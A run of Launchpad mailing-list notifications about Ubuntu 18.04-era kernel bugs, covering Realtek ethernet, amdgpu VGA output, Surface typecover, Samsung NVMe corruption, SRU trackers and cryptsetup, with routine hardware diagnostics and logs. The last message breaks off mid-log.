[Kernel-packages] [Bug 1784542] Re: Realtek ethernet not functional on 4.15.0-29.31
This issue only happens in 4.15.0-29.31. No issue on prior versions (i.e. 4.15.0-23 and 4.15.0-20). No issue on latest upstream kernel 4.18.0-041800rc7. No issue on 4.16.0-041600. ** Tags added: kernel-fixed-upstream ** Changed in: linux (Ubuntu) Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784542 Title: Realtek ethernet not functional on 4.15.0-29.31 Status in linux package in Ubuntu: Confirmed Bug description: When using ethernet (Realtek RTL8111/8168/8411 using built-in r8169 driver v2.3LK-NAPI), dhclient stuck at DHCPDISCOVER. When using static IP, nm shows it's connected, but I can't ping anywhere. This issue only shows up in 4.15.0-29.31. I tried the following versions without issue: 1) 4.18.0-041800rc7 2) 4.16.0-041600 3) 4.15.0-23 4) 4.15.0-20 No issue on wifi (Intel 7260 iwlwifi) and USB ethernet (Dell D3100 Dock). ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: daniel 1771 F pulseaudio /dev/snd/controlC0: daniel 1771 F pulseaudio CurrentDesktop: MATE Date: Tue Jul 31 14:42:31 2018 HibernationDevice: RESUME=UUID=efa14060-79a3-4f5d-99a5-9bb5f7e840d6 InstallationDate: Installed on 2018-07-08 (22 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. Inspiron 7537 ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-29-generic root=/dev/mapper/ubuntu--mate--vg-root ro ipv6.disable=1 quiet splash i915.enable_psr=0 vt.handoff=1 RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/31/2013 dmi.bios.vendor: Dell Inc. dmi.bios.version: A05 dmi.board.name: 07PF9F dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: 0.1 dmi.modalias: dmi:bvnDellInc.:bvrA05:bd10/31/2013:svnDellInc.:pnInspiron7537:pvr:rvnDellInc.:rn07PF9F:rvrA00:cvnDellInc.:ct8:cvr0.1: dmi.product.family: Shark Bay ULT dmi.product.name: Inspiron 7537 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784542/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784156] Re: [regression][amdgpu] analog output stops working on R9 380/Tonga Pro after upgrading to Ubuntu 18.04
Is it possible for you to try https://cgit.freedesktop.org/~agd5f/linux/ branch amd-staging-drm-next? -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784156 Title: [regression][amdgpu] analog output stops working on R9 380/Tonga Pro after upgrading to Ubuntu 18.04 Status in linux package in Ubuntu: Triaged Status in linux source package in Bionic: Triaged Status in linux source package in Cosmic: Triaged Bug description: After upgrading to Ubuntu 18.04 (and thus from Linux 4.13 to Linux 4.15) the Monitor connected via VGA (through DVI-I) shows a 'No Signal' message after amdgpu takes over from efifb and turns off. The monitor worked fine in Ubuntu 17.10 and Linux 4.13. When looking at the output of xrandr, the analog monitor is now detected as DVI-D instead of DVI-I and thus probably won't receive an analog signal anymore. After some investigation, it turns out the monitor will light up when adding the `amdgpu.dc=0` kernel parameter. I've tried Linux 4.18-rc6 from the mainline ppa and the issue persists unless I add the kernel parameter to disable DC. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-generic 4.15.0.29.31 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/pcmC0D0p: benpicco 2151 F...m pulseaudio /dev/snd/controlC0: benpicco 2151 F pulseaudio /dev/snd/controlC1: benpicco 2151 F pulseaudio CurrentDesktop: MATE Date: Sat Jul 28 17:55:35 2018 EcryptfsInUse: Yes HibernationDevice: RESUME=UUID=ef400a46-b237-4272-b4a7-f866e92d00a0 InstallationDate: Installed on 2016-08-06 (720 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) IwConfig: lono wireless extensions. eno1 no wireless extensions. MachineType: System manufacturer System Product Name ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=8e6b0d6a-eb87-44cf-8fc3-b13bd97b71d2 ro amdgpu.dc=0 RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 RfKill: 0: hci0: Bluetooth Soft blocked: no Hard blocked: no SourcePackage: linux UpgradeStatus: Upgraded to bionic on 2018-07-28 (0 days ago) dmi.bios.date: 11/09/2012 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 3603 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: P8Z68-V dmi.board.vendor: ASUSTeK Computer INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr3603:bd11/09/2012:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKComputerINC.:rnP8Z68-V:rvrRev1.xx:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.family: To be filled by O.E.M. dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784156/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784249] Re: Typecover driver not loading before full disk decryption prompt
kernel-fixed-upstream ** Attachment removed: "AlsaInfo.txt" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784249/+attachment/5169313/+files/AlsaInfo.txt ** Attachment removed: "CRDA.txt" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784249/+attachment/5169314/+files/CRDA.txt ** Attachment removed: "CurrentDmesg.txt" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784249/+attachment/5169315/+files/CurrentDmesg.txt ** Attachment removed: "Dependencies.txt" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784249/+attachment/5169316/+files/Dependencies.txt ** Attachment removed: "IwConfig.txt" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784249/+attachment/5169317/+files/IwConfig.txt ** Attachment removed: "Lspci.txt" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784249/+attachment/5169318/+files/Lspci.txt ** Attachment removed: "ProcCpuinfo.txt" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784249/+attachment/5169319/+files/ProcCpuinfo.txt ** Attachment removed: "ProcCpuinfoMinimal.txt" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784249/+attachment/5169320/+files/ProcCpuinfoMinimal.txt ** Attachment removed: "ProcInterrupts.txt" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784249/+attachment/5169321/+files/ProcInterrupts.txt ** Attachment removed: "ProcModules.txt" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784249/+attachment/5169322/+files/ProcModules.txt ** Attachment removed: "RfKill.txt" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784249/+attachment/5169323/+files/RfKill.txt ** Attachment removed: "UdevDb.txt" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784249/+attachment/5169324/+files/UdevDb.txt ** Changed in: linux (Ubuntu) Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784249 Title: Typecover driver not loading before full disk decryption prompt Status in linux package in Ubuntu: Confirmed Bug description: I installed Ubuntu on a MicroSD card in a Microsoft Surface Pro in order to arrive at a dual boot installation. I followed these great instructions: https://vitobotta.com/2018/01/11/ubuntu-full-disk- encryption-manual-partitioning-uefi/ to make sure key partitions were full disk encrypted. I expected to be able to enter my disk (de)encryption password at boot in order to continue booting into Ubuntu and Gnome. Unfortunately, I could not type from the Surface Pro typecover to enter the disk decryption password. As a workaround, I plug in a USB keyboard - which allows me to enter the password and boot normally into Ubuntu. After entering the password, I can remove the USB keyboard and load the OS where typing from the Surface Pro typecover works fine (on it now). If I enter Grub menu/prompt before this decryption prompt, the typecover works fine...but seems to stop working after the Grub menu. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-29-generic 4.15.0-29.31 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: hogledd1808 F pulseaudio CurrentDesktop: ubuntu:GNOME Date: Sun Jul 29 15:39:49 2018 HibernationDevice: RESUME=UUID=e883ce55-c240-4068-86cd-da71359a8dbe InstallationDate: Installed on 2018-07-28 (1 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Lsusb: Bus 002 Device 003: ID 045e:0306 Microsoft Corp. Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 009: ID 045e:09c2 Microsoft Corp. Bus 001 Device 008: ID 1286:204c Marvell Semiconductor, Inc. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: Microsoft Corporation Surface Pro ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_CA.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-29-generic root=/dev/mapper/system-root ro quiet splash PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: Daemon not responding. RelatedPackageVersions: linux-restricted-modules-4.15.0-29-generic N/A linux-backports-modules-4.15.0-29-generic N/A linux-firmware 1.173.1 SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/09/2017 dmi.bios.vendor: Microsoft Corporation dmi.bios.version: 231.1737.770 dmi.board.name: Surface Pro dmi.board.vendor: Microsoft Corporation dmi.chassis.type: 9 dmi.chassis.vendor: Microsoft Corporation dmi.modalias: dmi:bvnMicrosoftCor
[Kernel-packages] [Bug 1746340] Re: Samsung SSD corruption (fsck needed)
Lucas, I've found that the PCIe common clock may be the culprit here. Please try the kernel [1]. [1] https://people.canonical.com/~khfeng/quirk-no-commclk/ -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1746340 Title: Samsung SSD corruption (fsck needed) Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu 4.13.0-21.24-generic 4.13.13 I have a Razer Blade Stealth 2016. The first Ubuntu I installed was Ubuntu 17.04, which gave me this error after 2 weeks of usage. After that, I installed 16.04 and used it for MONTHS without any problems, until it produced the same error this week. I think it has to do with the ubuntu updates, because I did one recently and one today, just before this problem. Could be a coincidence though. I notice the error when I try to save something on disk and it says me that the disk is in read-only mode: lz@lz:/var/log$ touch something touch: cannot touch 'something': Read-only file system lz@lz:/var/log$ cat syslog Jan 29 01:07:39 lz kernel: [62984.375393] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 lz@lz:/var/log$ dmesg [62984.375393] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [62984.377374] Aborting journal on device nvme0n1p2-8. [62984.379343] EXT4-fs (nvme0n1p2): Remounting filesystem read-only [62984.379516] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [62984.381486] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [62984.383484] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [62984.385469] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [62984.387278] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [62984.389262] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [62984.391252] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [62984.393341] EXT4-fs error (device nvme0n1p2): ext4_find_entry:1442: inode #26607929: comm updatedb.mlocat: checksumming directory block 0 [63285.618078] audit: type=1400 audit(1517195560.393:63): apparmor="DENIED" operation="capable" profile="/usr/sbin/cupsd" pid=22495 comm="cupsd" capability=12 capname="net_admin" Rebooting the ubuntu will give me a black terminal where I can run fsck /dev/nvm30n1p2 (something like that) and it fill fix a lot of orphaned inodes. The majority of time it boots back to the Ubuntu working good, but some times it boots to a broken ubuntu (no images, lots of things broken). I have to reinstall ubuntu then. Every time I reinstall my Ubuntu, I have to try lots of times until it installs without an Input/Output error. When it installs, I can use it for some hours without having the problem, but if I run the software updates, it ALWAYS crashes and enters in read-only mode, specifically in the part that is installing kernel updates. I noticed that Ubuntu installs updates automatically when they're for security reasons. Could this be the reason my Ubuntu worked for months without the problem, but then an update was applied and it broke? I thought that this bug was happening: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1678184 and tried different nvme_core.default_ps_max_latency_us= combinations, all them gave errors. I just changed to 0 and I had no error while using ubuntu (however I didn't test for a long time) but I still had the error after trying to update my ubuntu. My Samsung 512gb SSD is: SAMSUNG MZVLW512HMJP-0, FW REV: CXY7501Q on a Razer Blade Stealth. I also asked this on ask ubuntu, without success: https://askubuntu.com/questions/998471/razer-blade-stealth-disk- corruption-fsck-needed-probably-samsung-ssd-bug-afte Please help me, as I need this computer to work on lots of things :c --- ApportVersion: 2.20.7-0ubuntu3.7 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: lz 1088 F pulseaudio CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 17.10 InstallationDate: Installed on 2018-01-30 (0 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20180105.1) MachineType: Razer Blade Stealth Package: linux (not installed) ProcFB: 0 inteldrmfb P
[Kernel-packages] [Bug 1705748] Re: Samsung SSD 960 EVO 500GB refused to change power state
Steve, I've found that the PCIe common clock may be the culprit here. Please try the kernel [1] with kernel parameter nvme_core.force_apst=1. [1] https://people.canonical.com/~khfeng/quirk-no-commclk/ -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1705748 Title: Samsung SSD 960 EVO 500GB refused to change power state Status in linux package in Ubuntu: Fix Committed Status in linux source package in Xenial: Fix Released Status in linux source package in Artful: Fix Released Bug description: === SRU Justification === [Impact] A user reported his NVMe went out to lunch after S3. [Fix] Disable APST for this particular NVMe + Motherboard setup. [Test] User confirmed this quirk works for his system. [Regression Potential] Very Low. This applies to a specific device setup, also user can override this quirk by "nvme_core.force_apst=1". === Original Bug Report === Originally thought my issue was same as this: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1678184 but requested to report as separate bug System becomes unusable at seemingly random times but especially after resume from suspend due to disk 'disappearing' becoming inaccessible, with hundreds of I/O errors logged. After viewing the above bug report yesterday as a quick temporary fix I added kernel param, updated grub, etc with: GRUB_CMDLINE_LINUX_DEFAULT="nvme_core.default_ps_max_latency_us=0" System appears to have been stable for the last day, but is presumably using more power than it should. System, drive details below: M2 nvme drive: Samsung SSD 960 EVO 500GB Ubuntu 4.10.0-26.30~16.04.1-generic 4.10.17 M/B Asus Prime B350m-A Ryzen 1600 cpu Jul 20 16:32:59 phs08 kernel: [ 190.893571] INVALID_DEVICE_REQUEST device=00:00.0 address=0xfffdf800 flags=0x0a00] Jul 20 16:33:05 phs08 kernel: [ 197.010928] nvme :01:00.0: controller is down; will reset: CSTS=0x, PCI_STATUS=0x Jul 20 16:33:05 phs08 kernel: [ 197.046980] pci_raw_set_power_state: 4 callbacks suppressed Jul 20 16:33:05 phs08 kernel: [ 197.046985] nvme :01:00.0: Refused to change power state, currently in D3 Jul 20 16:33:05 phs08 kernel: [ 197.047163] nvme nvme0: Removing after probe failure status: -19 Jul 20 16:33:05 phs08 kernel: [ 197.047182] nvme0n1: detected capacity change from 500107862016 to 0 Jul 20 16:33:05 phs08 kernel: [ 197.047793] blk_update_request: I/O error, dev nvme0n1, sector 0 nvme list /dev/nvme0n1 S3EUNX0J305518L Samsung SSD 960 EVO 500GB 1.2 1 125.20 GB / 500.11 GB 512 B + 0 B 2B7QCXE7 sudo nvme id-ctrl /dev/nvme0 NVME Identify Controller: vid : 0x144d ssvid : 0x144d sn : S3EUNX0J305518L mn : Samsung SSD 960 EVO 500GB fr : 2B7QCXE7 rab : 2 ieee : 002538 cmic : 0 mdts : 9 cntlid : 2 ver : 10200 rtd3r : 7a120 rtd3e : 4c4b40 oaes : 0 oacs : 0x7 acl : 7 aerl : 3 frmw : 0x16 lpa : 0x3 elpe : 63 npss : 4 avscc : 0x1 apsta : 0x1 wctemp : 350 cctemp : 352 mtfa : 0 hmpre : 0 hmmin : 0 tnvmcap : 500107862016 unvmcap : 0 rpmbs : 0 sqes : 0x66 cqes : 0x44 nn : 1 oncs : 0x1f fuses : 0 fna : 0x5 vwc : 0x1 awun : 255 awupf : 0 nvscc : 1 acwu : 0 sgls : 0 ps 0 : mp:6.04W operational enlat:0 exlat:0 rrt:0 rrl:0 rwt:0 rwl:0 idle_power:- active_power:- ps 1 : mp:5.09W operational enlat:0 exlat:0 rrt:1 rrl:1 rwt:1 rwl:1 idle_power:- active_power:- ps 2 : mp:4.08W operational enlat:0 exlat:0 rrt:2 rrl:2 rwt:2 rwl:2 idle_power:- active_power:- ps 3 : mp:0.0400W non-operational enlat:210 exlat:1500 rrt:3 rrl:3 rwt:3 rwl:3 idle_power:- active_power:- ps 4 : mp:0.0050W non-operational enlat:2200 exlat:6000 rrt:4 rrl:4 rwt:4 rwl:4 idle_power:- active_power:- --- ApportVersion: 2.20.1-0ubuntu2.10 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: drgrumpy 2192 F pulseaudio /dev/snd/pcmC1D0p: drgrumpy 2192 F...m pulseaudio /dev/snd/controlC1: drgrumpy 2192 F pulseaudio DistroRelease: Linux 18.2 EcryptfsInUse: Yes HibernationDevice: RESUME=UUID=a6896cdd-6bac-4e7f-9e13-55460859c3ec InstallationDate: Installed on 2017-07-06 (15 days ago) InstallationMedia: Linux Mint 18.2 "Sonya" - Release amd64 20170628 IwConfig: lono wireless extensions. enp37s0 no wireless extensions. MachineType: System manufacturer System Product Name Package: linux (not installed) ProcEnviron: LANGUAGE=en_GB:en TERM=xterm PATH=(custom, no user) LANG=en_GB.UTF-8 SHELL=/bin/bash ProcFB: 0 nouveaufb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.10.0-26-generic root=UUID=f7ae652b-cbf6-48b8-bc6a-d3963957ab57 ro nvme_core.default_ps_max_latency_us=0 ProcVersionSignature: Ubuntu 4.10.0-26.30~16.04.1-generic
[Kernel-packages] [Bug 1784294] Re: linux-gcp: 4.15.0-1014.14~16.04.1 -proposed tracker
** Changed in: kernel-sru-workflow/prepare-package Status: In Progress => Fix Released ** Changed in: kernel-sru-workflow/prepare-package Assignee: Khaled El Mously (kmously) => Stefan Bader (smb) ** Changed in: kernel-sru-workflow/prepare-package-meta Status: In Progress => Fix Released ** Changed in: kernel-sru-workflow/prepare-package-meta Assignee: Khaled El Mously (kmously) => Stefan Bader (smb) ** Changed in: kernel-sru-workflow/snap-release-to-stable Status: New => Invalid ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-stable-master-bug: 1784281 + kernel-stable-phase-changed:Wednesday, 01. August 2018 05:01 UTC + kernel-stable-phase:Uploaded ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-stable-master-bug: 1784281 - kernel-stable-phase-changed:Wednesday, 01. August 2018 05:01 UTC - kernel-stable-phase:Uploaded + phase: Uploaded -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-gcp in Ubuntu. https://bugs.launchpad.net/bugs/1784294 Title: linux-gcp: 4.15.0-1014.14~16.04.1 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: New Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow snap-release-to-beta series: New Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: New Status in Kernel SRU Workflow snap-release-to-stable series: Invalid Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-gcp package in Ubuntu: Invalid Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-stable-master-bug: 1784281 phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784294/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784294] Re: linux-gcp: 4.15.0-1014.14~16.04.1 -proposed tracker
** Summary changed: - linux-gcp: -proposed tracker + linux-gcp: 4.15.0-1014.14~16.04.1 -proposed tracker ** Changed in: kernel-sru-workflow/prepare-package Status: New => In Progress ** Changed in: kernel-sru-workflow/prepare-package Assignee: Canonical Kernel Team (canonical-kernel-team) => Khaled El Mously (kmously) ** Changed in: kernel-sru-workflow/prepare-package-meta Status: New => In Progress ** Changed in: kernel-sru-workflow/prepare-package-meta Assignee: Canonical Kernel Team (canonical-kernel-team) => Khaled El Mously (kmously) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-gcp in Ubuntu. https://bugs.launchpad.net/bugs/1784294 Title: linux-gcp: 4.15.0-1014.14~16.04.1 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: In Progress Status in Kernel SRU Workflow prepare-package-meta series: In Progress Status in Kernel SRU Workflow promote-to-proposed series: New Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow snap-release-to-beta series: New Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: New Status in Kernel SRU Workflow snap-release-to-stable series: New Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-gcp package in Ubuntu: Invalid Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-stable-master-bug: 1784281 To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784294/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784306] Re: linux-aws: 4.4.0-1026.27 -proposed tracker
** Summary changed: - linux-aws: 4.4.0-1064.73 -proposed tracker + linux-aws: 4.4.0-1026.27 -proposed tracker -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-aws in Ubuntu. https://bugs.launchpad.net/bugs/1784306 Title: linux-aws: 4.4.0-1026.27 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: In Progress Status in Kernel SRU Workflow prepare-package-meta series: In Progress Status in Kernel SRU Workflow promote-to-proposed series: New Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow snap-release-to-beta series: New Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: New Status in Kernel SRU Workflow snap-release-to-stable series: Invalid Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-aws package in Ubuntu: Invalid Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-stable-master-bug: 1784302 To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784306/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784244] Re: cryptsetup: WARNING: failed to detect canonical device
Hello, I tried to install the new Kernel. But get the same Problem. root@h2744217:~# sudo dpkg -i *.deb Vormals nicht ausgewähltes Paket linux-headers-4.18.0-041800rc7-generic wird gewählt. (Lese Datenbank ... 113720 Dateien und Verzeichnisse sind derzeit installiert.) Vorbereitung zum Entpacken von linux-headers-4.18.0-041800rc7-generic_4.18.0-041800rc7.201807292230_amd64.deb ... Entpacken von linux-headers-4.18.0-041800rc7-generic (4.18.0-041800rc7.201807292230) ... Vormals nicht ausgewähltes Paket linux-image-unsigned-4.18.0-041800rc7-generic wird gewählt. Vorbereitung zum Entpacken von linux-image-unsigned-4.18.0-041800rc7-generic_4.18.0-041800rc7.201807292230_amd64.deb ... Entpacken von linux-image-unsigned-4.18.0-041800rc7-generic (4.18.0-041800rc7.201807292230) ... Vormals nicht ausgewähltes Paket linux-modules-4.18.0-041800rc7-generic wird gewählt. Vorbereitung zum Entpacken von linux-modules-4.18.0-041800rc7-generic_4.18.0-041800rc7.201807292230_amd64.deb ... Entpacken von linux-modules-4.18.0-041800rc7-generic (4.18.0-041800rc7.201807292230) ... dpkg: Abhängigkeitsprobleme verhindern Konfiguration von linux-headers-4.18.0-041800rc7-generic: linux-headers-4.18.0-041800rc7-generic hängt ab von linux-headers-4.18.0-041800rc7; aber: Paket linux-headers-4.18.0-041800rc7 ist nicht installiert. dpkg: Fehler beim Bearbeiten des Paketes linux-headers-4.18.0-041800rc7-generic (--install): Abhängigkeitsprobleme - verbleibt unkonfiguriert linux-modules-4.18.0-041800rc7-generic (4.18.0-041800rc7.201807292230) wird eingerichtet ... linux-image-unsigned-4.18.0-041800rc7-generic (4.18.0-041800rc7.201807292230) wird eingerichtet ... I: /vmlinuz.old is now a symlink to boot/vmlinuz-4.15.0-29-generic I: /initrd.img.old is now a symlink to boot/initrd.img-4.15.0-29-generic I: /vmlinuz is now a symlink to boot/vmlinuz-4.18.0-041800rc7-generic I: /initrd.img is now a symlink to boot/initrd.img-4.18.0-041800rc7-generic Trigger für linux-image-unsigned-4.18.0-041800rc7-generic (4.18.0-041800rc7.201807292230) werden verarbeitet ... /etc/kernel/postinst.d/initramfs-tools: update-initramfs: Generating /boot/initrd.img-4.18.0-041800rc7-generic cryptsetup: WARNING: failed to detect canonical device of /dev/md1 cryptsetup: WARNING: could not determine root device from /etc/fstab W: Possible missing firmware /lib/firmware/ast_dp501_fw.bin for module ast I: The initramfs will attempt to resume from /dev/sdb3 I: (UUID=9055a919-6d99-49f0-88f1-7c53d6fd92a7) I: Set the RESUME variable to override this. /etc/kernel/postinst.d/x-grub-legacy-ec2: Searching for GRUB installation directory ... found: /boot/grub Searching for default file ... found: /boot/grub/default Testing for an existing GRUB menu.lst file ... 